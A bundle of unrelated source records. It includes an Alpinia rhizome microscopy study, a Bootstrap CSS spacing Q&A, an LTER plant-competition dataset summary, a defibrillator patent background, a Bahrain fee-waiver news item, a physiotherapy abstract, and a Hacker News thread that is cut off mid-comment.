Results {#sec1-3}
=======
The results shows *A. calcarata* Roscoe powder consist of plenty of simple and compound starch grains of 30 to 50 μ. Some of the starch grains were muller shaped, some were triangular, pear shaped, and most of them were round and oval shaped. In case of *A. galanga* (Linn.) Willd, less number of simple starch grains of 50 to 70 μ size and mostly round and oval shaped and, very few pear shaped, were also found. Parenchyma cells at places studded with aggregation of small silica crystalline matter were found only on *A. calcarata* Roscoe. Few silica crystals were found in the parenchyma cells of *A. galanga* (Linn.) Willd that are diamond shaped 80 to 100 μ in size. Besides, other identification characters are vessels, fibers, and trichomes that are bigger in *A. galanga* (Linn.) Willd with the diameter between 200 to 300 μ. Pitted fibers are more prominent in *A. galanga* (Linn.) Willd and parenchyma cells near vessels are at places studded with small prismatic crystals of Calcium Oxalate and less frequently found cluster crystals of Calcium Oxalate as well \[Figures [1](#F1){ref-type="fig"} and [2](#F2){ref-type="fig"}\].
{#F1}
{#F2}
Discussion {#sec1-4}
==========
Rhizome powder of both *A. calcarata* Roscoe and *A. galanga* (Linn.) Willd were studied in detail to highlight important anatomical characters. Matured *A. calcarata* Roscoe rhizome is smaller in size compared to that of *A. galanga* (Linn.) Willd and due to that most of the anatomical characters show smaller length and breadth. Diagnostic identification characters of *A. calcarata* Roscoe were compound starch grins, triangular-shaped starch grains, and plenty of simple starch grains in one parenchyma cell compared to that of *A. galanga* (Linn.) Willd. Diamond-shaped silica crystals were found only on *A. galanga* (Linn.) Willd rhizome powder. Present study has revealed an easy technique to identify two medicinal plant materials microscopically and the method can also be employed to detect the degree of adulteration in powdered raw medicinal plant materials as well. In addition to the presently used two botanical sources, there are many more similar rhizomes being used as "*Arattaala*" in Sri Lanka that has to be identified in order to standardize the official source.
Conclusion {#sec1-5}
==========
Microscopical detection is easy, reliable and cost effective tool for detection of adulteration in medicinal plant materials.
|
{
"pile_set_name": "PubMed Central"
}
|
Q:
Spacing between boxes using bootstrap responsive scheme
I have a this layout based on bootstrap.
I've manually added a margin between the rows, but when I resize the page I want the columns to have vertical spacing between them as well.
How should I do this?
Full-size browser:
Resized browser:
Ans here's the code:
<link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css" rel="stylesheet" />
<div class="container-fluid">
<div class="row top-buffer">
<!-- VISITORS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">VISITORS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of unique visitors to your web site"><small>?</small></span>
<br />
<span class="single-number-md">4,700</span>
<small>visitors</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">10%▲</span>
<div class="chart" style="height:105px;" id="visitors-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- TRIALS IN PROGRESS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">TRIALS IN PROGRESS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of trials in progress"><small>?</small></span>
<br />
<span class="single-number-md" data-toggle="counterup">235</span>
<small>trials</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">7%▲</span>
<div class="chart" style="height:105px;" id="trials-in-progress-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- NEW CUSTOMERS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">NEW CUSTOMERS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of new customers acquired this month"><small>?</small></span>
<br />
<span class="single-number-md">56</span>
<small>customers</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">2%▲</span>
<div class="chart" style="height:105px;" id="new-customers-chart"></div>
</div>
</div>
<!--/col-md-4-->
</div>
<!--/row-->
<div class="row top-buffer">
<!-- VISITORS TO TRIALS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">VISITORS TO TRIALS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of visitors that have signed up for trial accounts"><small>?</small></span>
<br
/>
<span class="single-number-md" data-toggle="counterup">5%</span>
<small>conversion</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">7%▲</span>
<div class="chart" style="height:105px;" id="visitors-to-trials-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- TRIALS TO PURCHASE -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">TRIALS TO PURCHASE <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of trials converted to purchases"><small>?</small></span></span>
<br />
<span class="single-number-md">17%</span>
<small>conversion</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">9%▲</span>
<div class="chart" style="height:105px;" id="trials-to-purchase-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- TOTAL CUSTOMERS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">TOTAL CUSTOMERS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of total active customers"><small>?</small></span>
<br />
<span class="single-number-md">488</span>
<small>customers</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">2%▲</span>
<div class="chart" style="height:105px;" id="total-customer-chart"></div>
</div>
</div>
<!--/col-md-4-->
</div>
<!--/row-->
<div class="row top-buffer bottom-buffer">
<!-- FTE SALES REPS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">FTE SALES REPRESENTATIVES </span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of visitors that have signed up for trial accounts"><small>?</small></span>
<br
/>
<span class="single-number-md" data-toggle="counterup">6</span>
<small>sales reps</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">20%▲</span>
<div class="chart" style="height:105px;" id="fte-sales-reps-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- QUOTA PER SALES REP -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">QUOTA PER SALES REP <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of trials converted to purchases"><small>?</small></span></span>
<br />
<span class="single-number-md">$4,200</span>
<small>dollars</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">9%▲</span>
<div class="chart" style="height:105px;" id="quota-per-sales-rep-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- FORECASTED SALES -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">FORECASTED SALES </span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of total active customers"><small>?</small></span>
<br />
<span class="single-number-md">$25,200</span>
<small>dollars</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">2%▲</span>
<div class="chart" style="height:105px;" id="forecasted-sales-chart"></div>
</div>
</div>
<!--/col-md-4-->
</div>
<!--/row-->
</div>
<!--container-fluid-->
Thanks!!
A:
Can't you simply add a margin-bottom: 30px on your widget class and remove it from the rows?
.widget-body {
margin-bottom: 30px;
}
.widget-white {
background-color: #fff;
}
.container-fluid {
background-color: #eee;
}
<link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css" rel="stylesheet" />
<div class="container-fluid">
<div class="row top-buffer">
<!-- VISITORS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">VISITORS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of unique visitors to your web site"><small>?</small></span>
<br />
<span class="single-number-md">4,700</span>
<small>visitors</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">10%▲</span>
<div class="chart" style="height:105px;" id="visitors-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- TRIALS IN PROGRESS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">TRIALS IN PROGRESS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of trials in progress"><small>?</small></span>
<br />
<span class="single-number-md" data-toggle="counterup">235</span>
<small>trials</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">7%▲</span>
<div class="chart" style="height:105px;" id="trials-in-progress-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- NEW CUSTOMERS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">NEW CUSTOMERS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of new customers acquired this month"><small>?</small></span>
<br />
<span class="single-number-md">56</span>
<small>customers</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">2%▲</span>
<div class="chart" style="height:105px;" id="new-customers-chart"></div>
</div>
</div>
<!--/col-md-4-->
</div>
<!--/row-->
<div class="row top-buffer">
<!-- VISITORS TO TRIALS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">VISITORS TO TRIALS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of visitors that have signed up for trial accounts"><small>?</small></span>
<br
/>
<span class="single-number-md" data-toggle="counterup">5%</span>
<small>conversion</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">7%▲</span>
<div class="chart" style="height:105px;" id="visitors-to-trials-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- TRIALS TO PURCHASE -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">TRIALS TO PURCHASE <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of trials converted to purchases"><small>?</small></span></span>
<br />
<span class="single-number-md">17%</span>
<small>conversion</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">9%▲</span>
<div class="chart" style="height:105px;" id="trials-to-purchase-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- TOTAL CUSTOMERS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">TOTAL CUSTOMERS</span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of total active customers"><small>?</small></span>
<br />
<span class="single-number-md">488</span>
<small>customers</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">2%▲</span>
<div class="chart" style="height:105px;" id="total-customer-chart"></div>
</div>
</div>
<!--/col-md-4-->
</div>
<!--/row-->
<div class="row top-buffer bottom-buffer">
<!-- FTE SALES REPS -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">FTE SALES REPRESENTATIVES </span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of visitors that have signed up for trial accounts"><small>?</small></span>
<br
/>
<span class="single-number-md" data-toggle="counterup">6</span>
<small>sales reps</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">20%▲</span>
<div class="chart" style="height:105px;" id="fte-sales-reps-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- QUOTA PER SALES REP -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">QUOTA PER SALES REP <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Percentage of trials converted to purchases"><small>?</small></span></span>
<br />
<span class="single-number-md">$4,200</span>
<small>dollars</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">9%▲</span>
<div class="chart" style="height:105px;" id="quota-per-sales-rep-chart"></div>
</div>
</div>
<!--/col-md-4-->
<!-- FORECASTED SALES -->
<div class="col-md-4">
<div class="widget-body widget-white fixed-h-single-number-chart-sm">
<span class="light-grey">FORECASTED SALES </span> <span class="badge badge-question" data-container="body" data-toggle="tooltip" data-placement="right" title="Number of total active customers"><small>?</small></span>
<br />
<span class="single-number-md">$25,200</span>
<small>dollars</small>
<span class="badge alert-success" data-container="body" data-toggle="tooltip" data-placement="right" title="Previous 30 days">2%▲</span>
<div class="chart" style="height:105px;" id="forecasted-sales-chart"></div>
</div>
</div>
<!--/col-md-4-->
</div>
<!--/row-->
</div>
<!--container-fluid-->
|
{
"pile_set_name": "StackExchange"
}
|
Title: Long-Term Ecological Research (LTER)/CDR018: Plant Competition Under Different Nitrogen Levels at Cedar Creek Natural History
Area
Description:
Abstract:
LTER - Long-Term Ecological Research Program/Cedar Creek Natural
History Area (CDR)
LTER/CDR018 [Summary adapted from the LTER Core Data Set Catalog]:
This is the new garden plot experiment located next to the CDR014
gardens. This garden contains monocultures of major grass species
from across the grassland biome of North America, and also three
legume species (CDR020). The design and purpose are similar to
CDR014, except the plots are larger. The basic experimental design
consists of growing plants in monoculture and in various competitive
combinations on each of 14 different soil mixtures. Each soil mixture
has 26 subplots. Each subplot, which is 1.2 m x 1.2 m, is a unique
treatment. Thus, there are no replicates of a treatment within a soil
mixture. Rather, the experiment is a regression experiment, with the
regression variable being the experimentally imposed level of total
soil nitrogen. At the time the seeds were planted, each plot was
fertilized with a mixture of P, K, Ca, Mg, and trace metals. Plots 1
through 23 were planted with different combinations of the following
species: Schizachyrium scoparium, Andropogon gerardi, Bouteloua
gracilis, Panicum virgatum, Agropyron smithii, and Buchloe
dactyloides. A belowground gopher fence and an aboveground
rodent/deer fence was built around the area.
Proprietary limits: Investigators have priority over data for
five years, but are interested in collaboration for novel comparisons before
then.
The Cedar Creek Natural History Area (CCNHA) is a 2200 hectare
experimental ecological reserve operated by the University of
Minnesota in cooperation with the Minnesota Academy of Sciences. CCNHA
is located in Anoka and Isanti Counties north of Minneapolis/St. Paul.
The site was established in 1940, was designated a National Natural
Landmark by the National Park Service in 1975. In 1977 it was included
as an Experimental Ecology Reserve in a proposed network, and in 1982
it was one of 11 sites in the U.S. selected by the National Science
Foundation for funding of LTER.
Information about LTER is also available at
'http://lternet.edu/'
|
{
"pile_set_name": "Pile-CC"
}
|
Sometimes I wave to people I don't know. It's very dangerous to wave to someone you don't know, because what read more
Sometimes I wave to people I don't know. It's very dangerous to wave to someone you don't know, because what if they don't have a hand? They'll think you're cocky. 'Look what I got... This thing is useful. I'm gonna go pick somethin' up.'
|
{
"pile_set_name": "Pile-CC"
}
|
The present invention relates to implantable medical devices, and more particularly to an implantable cardioverter defibrillator (ICD) configured to provide a low pain defibrillation waveform.
An ICD continues to be a relatively large device for implantation in the human body. The size of the ICD is primarily determined by the battery and capacitors used therein. The size of the battery (or batteries, in some instances) and capacitors, in turn, is determined by the shock energy requirements for a defibrillation pulse. Thus, a design approach that reduces the energy requirements for defibrillation results in a direct reduction in the overall ICD size.
In existing ICD devices, the defibrillation waveform or pulse used to deliver a defibrillation shock to the heart is generated by first charging the equivalent of a single capacitor (most ICDs use two capacitors connected in series to function as a single capacitor, thereby reducing the working voltage requirements for each capacitor of the series stack, as explained below) to a desired charge level (voltage) and then discharging the single capacitor through the cardiac tissue for a prescribed period of time during a first or positive phase of the defibrillation waveform, and then reversing the polarity of the discharge for a second prescribed period of time during a second or negative phase of the defibrillation waveform, thereby producing a biphasic stimulation pulse or waveform. It should be noted that in this context the term xe2x80x9csingle capacitorxe2x80x9d is used to refer to a single capacitance, which may be, and usually is obtained by a hardwired connection of two capacitors in series such that the two series capacitors always function and act as though they were a single capacitor. (Two or more capacitors are connected in series in this manner in order to achieve a higher working voltage for the series-connected capacitor. That is, when two capacitors are connected in series, and each has a working voltage of, e.g., 375 volts (V), then the overall or total working voltage of the series combination becomes 750 V.)
The purpose of applying a defibrillation shock to the heart is to shock the heart out of a state of fibrillation, or other non-functional state, into a functional state where it may operate efficiently as a pump to pump blood through the body. To this end, the positive phase of the biphasic waveform is preferably a very high voltage that serves to synchronously capture as many heart membrane cells as possible. See, Kroll, xe2x80x9cA minimum model of the signal capacitor biphasic waveformxe2x80x9d Pace, November 1994. The negative phase of the biphasic waveform, in contrast, simply serves to remove the residual electrical charge from the membrane cells and bring the collective membrane voltage back to its original position or value. See, e.g., Kroll, supra; Walcott, et al., xe2x80x9cChoosing The Optimal Monophasic and Biphasic Wave-Forms for Ventricular Defibrillationxe2x80x9d, Journal of Cardiovascular Electrophysiology (September 1995). A biphasic pulse generator of the type used in an ICD device is shown, e.g., in U.S. Pat. No. 4,850,357, issued to Bach, Jr.; and U.S. Pat. No. 5,083,562, issued to de Coriolis et al.
When a voltage shock is first applied to a membrane cell, the membrane does not respond to the shock immediately. Rather, the cell response lags behind the applied voltage. This time lag is more or less predictable in accordance with the Blair membrane model. See, e.g., Blair, xe2x80x9cOn the intensity-time relations for stimulation by electric currents Ixe2x80x9d, J. Gen Physiol., Vol. 15, pp. 709-729 (1932), and Blair, xe2x80x9cOn the intensity time relations for stimulation by electric currents II xe2x80x9d, J. Gen Physiol., Vol. 15, pp. 731-755 (1932); Pearce et al., xe2x80x9cMyocardial stimulation with ultrashort duration current pulses,xe2x80x9d PACE, Vol. 5, pp. 52-58 (1982). When the applied voltage comprises a biphasic pulse having a constant voltage level for the duration of the positive phase (a condition achievable only when the voltage originates from an ideal battery), the membrane cell response to the positive phase reaches a peak (i.e., is at an optimum level) at the trailing edge of the positive phase. Unfortunately, when the applied voltage originates from a charged capacitor, as is the case for an ICD device, the applied voltage waveform does not remain at a constant voltage level, but rather has a significant xe2x80x9ctiltxe2x80x9d or discharge slope associated therewith. Such tilt or slope causes the peak membrane cell response to occur at some point prior to the trailing edge of the positive phase, which is less than optimum. What is needed, therefore, is a way to optimize the applied voltage waveform so that a maximum membrane cell response occurs coincident with, or nearly coincident with, the trailing edge of the positive phase.
It is known in the art to switch the capacitors of an ICD from a parallel configuration during the positive phase of a biphasic defibrillation pulse to a series configuration during the negative phase of the biphasic defibrillation pulse. See, e.g., U.S. Pat. No. 5,199,429 (FIG. 7A) and U.S. Pat. No. 5,411,525. While such action produces a defibrillation waveform having a somewhat different shape, i.e., a waveform having a leading edge voltage of the second or negative phase which is approximately twice the trailing edge voltage of the first or positive phase, such action does little to achieve a maximum cell membrane response coincident with the trailing edge of the first or positive phase.
It is also known in the art to sequentially switch capacitors in an ICD device in order to allow waveform xe2x80x9ctailoringxe2x80x9d, e.g., prolong the positive phase duration by sequentially switching in a second charged capacitor as shown in U.S. Pat. No. 5,199,429, or by sequentially switching in second, third and fourth charged capacitors, as shown in FIG. 6C of U.S. Pat. No. 5,199,429. However, such xe2x80x9ctailoringxe2x80x9d still does not address the main concern of achieving a maximum cell membrane response coincident with the trailing edge of the positive phase.
It is thus evident that what is needed is a capacitor switching scheme and/or method for use within an ICD device which achieves a maximum cell membrane response near or coincident with the trailing edge of the positive phase.
It is also desirable to provide an ICD that is as small as possible. The limiting factor on ICD thickness is the diameter of the high-energy capacitors. As indicated above, current ICDs typically use two electrolytic capacitors. Current technology in electrolytic capacitors limits the stored voltage to about 450 V per capacitor. Therefore, the current approach is to use two large (200 xcexcF or more) capacitors to achieve the stored energy of 25J-40J required for defibrillation. Therefore, the thickness of the ICD is determined by the thickness of the large capacitors. There is thus a need for an ICD construction, which would permit the needed energy for defibrillation to be stored in the ICD, while allowing a thinner ICD thickness.
The inventions described in predecessor patent application Ser. No. 09/073,394 advantageously address the above and other needs. In particular, that patent application described a technique for generating a highly efficient biphasic defibrillation pulse by switching at least two charged capacitors from a parallel connection to various combinations of a parallel/series connection or a series connection during the first phase of the defibrillation pulse. Such mid-stream parallel/series connection changes step up the voltage applied to the cardiac tissue during the first phase. A stepped-up voltage during the first phase, in turn, gives an extra boost to, and thereby forces additional charge (current) into, the cardiac tissue cells, and thereby transfers more charge to the membrane of the excitable cardiac cell than if the capacitors were continuously discharged in series. Phase reversal is timed with the cell membrane reaching its maximum value at the end of the first phase.
The inventions described in the predecessor patent application Ser. No. 09/976,603 are directed to achieving still other advantages. More specifically, the inventions of that patent application were directed techniques for generating a defibrillation waveform that requires even less shock energy to reach the myocardial defibrillation threshold so that battery power can be saved and device longevity improved, while still providing effective defibrillation. Techniques were also described for generating a defibrillation waveform that reduces the total time required to reach the myocardial defibrillation threshold thereby permitting the patent to be defibrillated more quickly.
Although the techniques of the predecessor patent applications are quite effective in generating a wide variety of useful defibrillation waveforms, room for further improvement remains. A significant problem with conventional defibrillation techniques is the defibrillation pulses cause substantial pain to the patient. In many cases, the patient is unconscious by the time the shock is administered and hence the pain is experienced upon the patient regaining consciousness. In other cases, however, the shock is administered while the patient is still conscious. In either case, it would be highly desirable to reduce the pain experienced by the patient.
U.S. Pat. No. 5,906,633 entitled xe2x80x9cSystem for Delivering Rounded Low Pain Therapeutic Electrical Waveforms To The Heartxe2x80x9d by Mouchawar et al. provides various systems and techniques for reducing patient pain by eliminating sharp voltage peaks in the shocking pulse waveform. More specifically, the patent describes a system for delivering a low pain waveform that is biphasic and has rounded leading and trailing edges. The rounded leading and trailing edges are believed to decrease the discomfort experienced by the patient. In one embodiment, the circuit has two capacitors connected in parallel with one another and with an H-bridge. The two capacitors are connected via a switch that can be closed so as to simultaneously charge one capacitor from the other while simultaneously applying voltage to the H-bridge. The circuit also includes a dump resistor that can be connected in parallel with the capacitors so as to increase the rounding of the trailing edges of the waveform. In another embodiment, controllable switches can also be included so as to be able to connect the capacitors in series and apply a sharp peak defibrillation waveform to the heart. U.S. Pat. No. 5,906,633 is incorporated by reference herein in its entirety.
Although the system of U.S. Pat. No. 5,906,633 is effective is providing shocks that yield reduced pain, room for further improvement remains, particularly insofar as the generation of shocks for defibrillation is concerned. In particular, the circuit provided therein is fairly inefficient because much of the energy stored in the capacitors is not used in the shocking pulse and is instead lost as heat. Also it requires fairly large values for either voltage or power so as to achieve sufficient filtering to provide a smooth waveform shape. Alternatively, a larger capacitor can be used, but that requires larger ICD size and weight.
Accordingly, it would be desirable to provide alternative techniques for generating rounded shocking waveforms and it is to these ends that aspects of the invention of the present CIP application are directed. In particular it is desirable to exploit the stepped waveform techniques of the predecessor patent applications summarized above for generating low pain rounded waveforms and further aspects of the invention are directed to novel waveform shapes achieved thereby.
In accordance with a first aspect of the invention, systems and methods are provided for generating a rounded low-pain waveform formed of multiple steps or segments. In a system embodiment, a shocking circuit is provided that includes a set of capacitors, a resistive-capacitive (RC) filter, and low pain waveform control unit connected to the capacitors and operative to selectively discharge the capacitors through the RC filter to generate the rounded, multi-step defibrillation pulse waveform.
In one example, dual shocking capacitors are configured so as to be discharged either in parallel or in series during the positive phase of the pulse waveform. The low pain waveform control unit operates to first discharge the capacitors in parallel to generate a first step or portion of the positive phase of the waveform while periodically shunting a portion of charge through the RC filter to reduce the peak voltage of the first step. Then the low pain waveform control unit discharges the capacitors in series to generate a second step of the positive phase of the waveform while also periodically shunting a portion of charge through the RC filter to thereby also reduce the peak voltage of the second step. With this circuit arrangement, a rounded, multi-step waveform can readily be generated for use within an ICD without requiring a high voltages or large capacitors.
In accordance with a second aspect of the invention, systems and methods are provided for generating a shocking waveform that approximates a monotonically increasing input waveform shape. In an exemplary embodiment of the method, steps are performed so as to generate a waveform having a positive phase that approximates an input waveform shape having an initial portion increasing sharply from zero voltage to a initial voltage (Vinitial), a central portion increasing exponentially from the initial voltage to a peak voltage (Vpeak), and a tail portion decreasing sharply back to zero voltage. The central portion of the target waveform being approximated has an exponential shape represented by:
Vwaveform=Vinitial+(xe2x88x92VpeakVinitial)*(1xe2x88x92exe2x88x92t/T).
The monotonically-increasing waveform is believed to be particularly effective in reducing patient pain. The monotonically-increasing waveform can be generated using the dual capacitor system summarized above configured to produce a single monotonically-increasing waveform from the two steps of the multi-step waveform to thereby achieve significant pain reduction while also gaining the benefits of the use of multi-step waveforms.
In accordance with a third aspect of the invention, systems and methods are provided for generating shocking waveforms that approximate any input waveform shape, rounded or otherwise. In a method example, a shocking waveform is generated by inputting a waveform to be approximated then increasing a magnitude of a voltage of an output shocking waveform as a function of time. The magnitude of the voltage of the shocking waveform is compared to a magnitude of the voltage of the input waveform as a function of time and, whenever the magnitude of the shocking waveform exceeds the magnitude of the voltage of the input waveform, the magnitude of the shocking waveform is decreased until it again falls below the voltage of the magnitude of the input waveform. These steps are repeated so that the magnitude of the output shocking waveform generally approximates the input waveform.
In one example, the method is employed within a defibrillator having a shocking capacitor, a resistive-capacitive (RC) filter, and a chopping switch interconnecting the shocking capacitor and the RC filter. The magnitude of the voltage of the shocking waveform is decreased whenever the magnitude of the shocking waveform exceeds the magnitude of the voltage of the input waveform by opening and closing the chopping switch so as to produce an output from the RC filter that approximates the input waveform.
With this technique, virtually any desired positive-phase waveform shape can be approximated. Preferably, the technique is employed to generate the monotonically-increasing waveform summarized above to reduce patient pain. Also preferably, the technique is exploited using the dual capacitor multistep shocking system also summarized above to permit the use of relatively small capacitors using relatively low voltages.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Only have around 15-25 modded car models. I've tested it and it works great. modded cars and stock cars spawn realistically. I took about 20 cars I like to drive the most and put them in, and left the rest stock GTA4 cars. If you really want realistic traffic I think this is the only way to do it.
Other things to do:
-Leave cop cars and taxi's stock - you could prolly have one modded and still work good
-Lower the frequency of modded cars in Vehicles.ide to like 10. this is also realistic, how many Zondas do you see going down the road.
-you dont need any car spawning mods or anything
|
{
"pile_set_name": "Pile-CC"
}
|
Calm amid COVID-19: Mindful breathing
UC Berkeley psychologist Dacher Keltner has launched a video series to share science-based strategies to help people cope with the stress and uncertainty of COVID-19 (UC Berkeley video by Roxanne Makasdjian)
In touching every aspect of our lives, the COVID-19 pandemic has profoundly disrupted our sense of well-being and produced uncertainty and anxiety. How do we find resilience while remaining productive and caring family members, friends, professionals and citizens in these unprecedented times?
In a series of short videos, UC Berkeley psychologist Dacher Keltner, who has studied stress, relationships and well-being for 25 years and is co-founder of the campus’s Greater Good Science Center, will share ideas and practices for cultivating resilience and connection as we face the challenges of the coming months.
Drawing on insights from the center’s Science of Happiness online course, podcast series and magazine, Keltner shares tips on how to manage stress and find meaningful connections while social distancing, completing each video with simple, science-tested practices useful for this moment in time. The videos can also be viewed on YouTube.
|
{
"pile_set_name": "Pile-CC"
}
|
Bahrain’s Finance and National Economy Minister has announced more details of the 200 government services which will now be free for Bahraini citizens, according to a report by the Gulf Daily News (GDN) website.
Some of the government services which will now no longer apply and will be free include:
Fees for issuing copies of government school student certificates
Fees for endorsement verification of degree certificates
Fees for updating the information in the national identity card for the elderly
Fees for assigning power of attorney to university students
Fees related to university scholarship agreements abroad
Fees related to authenticating a marriage contract
Fees covering the personal status of individuals within cases related to family rights
Fees related to gifting real estate contracts
Fees for changing a company’s commercial name
Fees for the establishment of private training institutions concerned with providing training and qualifying trainees
Fees for registering individuals’ patents and fees related to issuance of environmental data and digital map
The move was ordered by Prime Minister Prince Khalifa bin Salman Al Khalifa following King Hamad’s order to review all tax measures and government fees.
|
{
"pile_set_name": "OpenWebText2"
}
|
Electromechanical delay of the vastus medialis obliquus and vastus lateralis in individuals with patellofemoral pain syndrome.
Case-control study. To examine electromechanical delay (EMD) of the vastus medialis obliquus (VMO) and the vastus lateralis (VL) in individuals with patellofemoral pain syndrome (PFPS). EMD is a mechanical property of muscles related to protective reflex and sports performance. The time duration of the EMD can be shortened with strength training and, conversely, can be lengthened secondary to immobilization. However, it is unclear if EMD between various components of the quadriceps is affected in individuals with PFPS. Twenty-six individuals with PFPS and 26 healthy volunteers were studied. The VMO and VL were electrically stimulated to evoke muscle twitches. Ultrasound was used to assess patellar movement elicited by the muscle twitch. The time from the onset of electrical stimulation to the onset of patellar movement was measured as the EMD. The EMDs of the VMO and VL were compared between groups using a mixed-model analysis of variance. Subsequent to a significant interaction (P<.001), post hoc analysis indicated that the EMD of the VMO was longer (PFPS, 37.3 ± 0.7 milliseconds; control, 25.9 ± 0.7 milliseconds; P<.001) and the EMD of the VL was shorter (PFPS, 18.4 ± 0.5 milliseconds; control, 25.1 ± 0.5 milliseconds; P<.001) in the PFPS group. Therefore, in the individuals with PFPS, the EMD of the VMO was significantly longer than that of the VL (P<.001), which was not the case for those in the control group (P = .20). The mechanical properties of the VMO and VL may be altered in patients with PFPS.J Orthop Sports Phys Ther 2012;42(9):791-796, Epub 2 August 2012. doi:10.2519/jospt.2012.3973.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Lincoln Assassination Eyewitness on 1956 Episode of I’ve Got a Secret - barredo
http://laughingsquid.com/lincoln-assassination-eyewitness-on-1956-episode-of-ive-got-a-secret/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+laughingsquid+%28Laughing+Squid%29&utm_content=Google+Reader
======
JangoSteve
This is amazing, I had never even connected the two points of data in such a
way as to realize that someone alive when Lincoln was president would still be
alive when TV is on the market.
Aside from the intense tobacco ads (the big banner and the participation
gift), I find it interesting that they were playing for the amount of $80.
Accounting for inflation, that's around $650 in today's dollars. Meanwhile
these days, game shows play for a top prize usually around $10k to $1mil per
episode. I guess in 1956, TV itself was enough to keep people entertained and
tuned in. I wonder if 50 years from now, they'll be playing for people's lives
or something equally crazy to keep jaded video audiences tuned in.
~~~
burgerbrain
Actually, there are still plenty of gameshows around where people play for
